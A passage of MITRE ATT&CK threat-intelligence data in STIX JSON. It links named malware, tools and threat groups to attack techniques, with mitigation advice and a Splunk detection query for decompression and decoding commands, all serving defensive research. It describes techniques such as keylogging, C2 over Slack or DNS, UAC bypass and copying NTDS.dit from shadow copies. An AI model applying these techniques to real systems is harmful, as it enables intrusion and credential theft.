2015)","relationship_type":"uses","source_ref":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c1a5ba7a-659b-4ac2-90df-f3f74a3a8442","created":"2020-05-14T22:29:26.043Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T20:18:23.659Z","description":"[Rising Sun](https://attack.mitre.org/software/S0448) has executed commands using `cmd.exe /c “ > <%temp%>\\AM. tmp” 2>&1`.(Citation: McAfee Sharpshooter December 2018) ","relationship_type":"uses","source_ref":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c1a6c86e-5d5d-4cf1-845e-1660d9c19baf","created":"2019-06-13T16:59:18.442Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Common Conditional Access Policies","description":"Microsoft. (2022, December 14). Conditional Access templates. Retrieved February 21, 2023.","url":"https://learn.microsoft.com/en-us/azure/active-directory/conditional-access/concept-conditional-access-policy-common"},{"source_name":"Okta Block Anonymizing Services","description":"Moussa Diallo and Brett Winterford. (2024, April 26). How to Block Anonymizing Services using Okta. Retrieved May 28, 2024.","url":"https://sec.okta.com/blockanonymizers"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-28T18:50:35.052Z","description":"Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy may create a denial of service condition and render environments un-usable, with all accounts used in the brute force being locked-out. Use conditional access policies to block logins from non-compliant devices or from outside defined organization IP ranges.(Citation: Microsoft Common Conditional Access Policies) Consider blocking risky authentication requests, such as those originating from anonymizing services/proxies.(Citation: Okta Block Anonymizing Services)","relationship_type":"mitigates","source_ref":"course-of-action--f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1a8eea8-f273-4dad-8ae0-d5c93bf5467f","type":"relationship","created":"2020-11-16T20:14:25.585Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-20T17:06:17.941Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) can exploit multiple vulnerabilities including EternalBlue (CVE-2017-0144) and EternalRomance (CVE-2017-0144).(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c1b53315-fe59-4485-bc15-95b59cc34058","created":"2022-03-30T14:26:51.848Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.","modified":"2022-08-18T15:22:10.808Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1b55dea-5e5d-4cff-bfac-5880507389c1","type":"relationship","created":"2020-08-13T16:45:47.111Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Threatpost Hancitor","url":"https://threatpost.com/spammers-revive-hancitor-downloader-campaigns/123011/","description":"Tom Spring. (2017, January 11). Spammers Revive Hancitor Downloader Campaigns. Retrieved August 13, 2020."}],"modified":"2020-08-13T16:45:47.111Z","description":"[Hancitor](https://attack.mitre.org/software/S0499) has been delivered via phishing emails which contained malicious links.(Citation: Threatpost Hancitor)","relationship_type":"uses","source_ref":"malware--ef2247bf-8062-404b-894f-d65d00564817","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c1b5996f-e0f9-4986-9ee1-c5c9dc85d8e5","created":"2023-02-08T18:38:52.708Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-08T18:40:22.350Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) can use legitimate websites for external C2 channels including Slack, Discord, and MS Teams.(Citation: Palo Alto Brute Ratel July 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1b5ad09-6b1a-487e-bec1-af2326be5007","type":"relationship","created":"2020-11-13T21:33:01.885Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T21:47:03.958Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can bypass UAC by registering as the default handler for .MSC files.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1b721af-9d2b-47a2-a712-3bff64628148","type":"relationship","created":"2020-03-16T15:33:06.384Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-26T20:58:34.773Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1b912a1-ffb4-4b33-88ec-6a567a1fcfd4","type":"relationship","created":"2020-09-24T13:19:42.708Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.025Z","description":"[RegDuke](https://attack.mitre.org/software/S0511) can use control-flow flattening or the commercially available .NET Reactor for obfuscation.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--47124daf-44be-4530-9c63-038bc64318dd","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c1bf0daf-42e0-426a-ba8a-ba892f688963","created":"2022-10-11T16:30:07.250Z","revoked":false,"external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T16:30:07.250Z","description":"[Mongall](https://attack.mitre.org/software/S1026) can upload files and information from a compromised host to its C2 server.(Citation: SentinelOne Aoqin Dragon June 2022)","relationship_type":"uses","source_ref":"malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1c20b2c-0ae0-4ee4-863f-c82624fbcfe1","type":"relationship","created":"2021-03-30T17:20:05.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-30T17:20:05.938Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1c2c530-a2d2-4c2f-bcff-ceda0277de59","type":"relationship","created":"2020-10-13T01:26:50.637Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","source_name":"Mandiant APT1"}],"modified":"2020-10-13T01:26:50.637Z","description":"[APT1](https://attack.mitre.org/groups/G0006) hijacked FQDNs associated with legitimate websites hosted by hop points.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c1c32fe3-7aba-4d58-94df-89ce60a76810","created":"2022-08-16T15:36:02.821Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SideCopy](https://attack.mitre.org/groups/G1008) has identified the OS version of a compromised host.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-24T15:34:57.129Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1cbaa0f-59d2-4b49-a91f-c21bff7ca009","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2019-04-24T23:43:08.037Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194)'s Get-ProcessTokenPrivilege Privesc-PowerUp module can enumerate privileges for a given process.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1cf1113-db4a-406a-8178-32fa4311d5dc","type":"relationship","created":"2020-05-08T20:55:28.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2020-05-08T20:55:28.740Z","description":"[VBShower](https://attack.mitre.org/software/S0442) has attempted to obtain a VBS script from command and control (C2) nodes over HTTP.(Citation: Kaspersky Cloud Atlas August 2019)","relationship_type":"uses","source_ref":"malware--8caa18af-4758-4fd3-9600-e8af579e89ed","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1cf88bc-6229-4d62-86f5-36aa0e7bd21a","type":"relationship","created":"2020-03-17T00:03:45.005Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PaloAlto DNS Requests May 2016","url":"https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/","description":"Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018."}],"modified":"2020-03-17T00:03:45.005Z","description":"[APT18](https://attack.mitre.org/groups/G0026) uses DNS for C2 communications.(Citation: PaloAlto DNS Requests May 2016)","relationship_type":"uses","source_ref":"intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1d36d2e-a8ab-4132-8690-e97628a07a0f","type":"relationship","created":"2020-07-27T20:02:43.027Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-07-30T14:22:13.079Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) can use multiple layers of proxy servers to hide terminal nodes in its infrastructure.(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1d43be1-daea-4cdd-9632-e0a22f4d9073","type":"relationship","created":"2021-03-28T23:38:09.380Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2021-03-28T23:38:09.380Z","description":"[Bazar](https://attack.mitre.org/software/S0534) has the ability to use an alternative C2 server if the primary server fails.(Citation: NCC Group Team9 June 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c1d557cf-646d-4cac-bd2a-20889431372f","created":"2024-04-18T13:59:55.669Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC Octo Tempest Operations October 2023","description":"Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-18T17:42:39.012Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) has created volume shadow copies of virtual domain controller disks to extract the `NTDS.dit` file.(Citation: MSTIC Octo Tempest Operations October 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c1db186f-0c57-4c10-b858-3ecc792bb224","created":"2022-03-24T11:46:08.669Z","x_mitre_version":"1.0","external_references":[{"source_name":"ClearSky Lazarus Aug 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DRATzarus](https://attack.mitre.org/software/S0694) can use the `GetTickCount` and `GetSystemTimeAsFileTime` API calls to measure function timing.(Citation: ClearSky Lazarus Aug 2020) [DRATzarus](https://attack.mitre.org/software/S0694) can also remotely shut down into sleep mode under specific conditions to evade \ndetection.(Citation: ClearSky Lazarus Aug 2020)","modified":"2022-04-17T18:34:53.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c1dc4089-a24e-44d2-84e3-47cb14964719","created":"2023-12-04T19:44:34.803Z","revoked":false,"external_references":[{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-04T19:44:34.803Z","description":"(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c1dddcf3-c3b1-498a-9a80-8dcbf6887d10","created":"2023-09-27T20:05:48.709Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T20:05:48.709Z","description":"[NightClub](https://attack.mitre.org/software/S1090) can obfuscate strings using the congruential generator `(LCG): staten+1 = (690069 × staten + 1) mod 232`.(Citation: MoustachedBouncer ESET August 2023)\n","relationship_type":"uses","source_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c1dece0c-5d63-4e8f-9860-073118df5cd1","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T16:24:00.546Z","description":"Detect commands triggered by users, especially related to decompression tools (e.g., zip files) that may unpack malicious payloads. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnalytic 1 - Command lines showing decompression or decoding actions.\n\n sourcetype=WinEventLog:Powershell EventCode=4104\n| search process_name IN (\"powershell.exe\", \"cmd.exe\", \"zip.exe\", \"winrar.exe\")\n| stats count by process_name command_line user\n| where command_line LIKE \"%unzip%\" OR command_line LIKE \"%decode%\" ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c1ea9582-0477-4226-a0ba-af03255d01dd","type":"relationship","created":"2020-08-13T14:58:25.231Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-13T14:58:25.231Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can gather information on the network configuration of a compromised host.(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c1ed0848-df59-4cd1-8e39-a0d87002c652","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT33 Webinar Sept 2017","description":"Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.","url":"https://www.brighttalk.com/webcast/10703/275683"},{"source_name":"Red Canary NETWIRE January 2020","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021.","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/"},{"source_name":"FireEye NETWIRE March 2019","description":"Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.","url":"https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"},{"source_name":"McAfee Netwire Mar 2015","description":"McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/"},{"source_name":"Proofpoint NETWIRE December 2020","description":"Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021.","url":"https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T18:16:43.584Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can perform keylogging.(Citation: McAfee Netwire Mar 2015)(Citation: FireEye APT33 Webinar Sept 2017)(Citation: FireEye NETWIRE March 2019)(Citation: Red Canary NETWIRE January 2020)(Citation: Proofpoint NETWIRE December 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c1ed24fb-6777-4001-88b4-a284091cde64","created":"2022-06-28T14:10:27.984Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike IceApple May 2022","url":"https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf","description":"CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[IceApple](https://attack.mitre.org/software/S1022) can use HTTP GET to request and pull information from C2.(Citation: CrowdStrike IceApple May 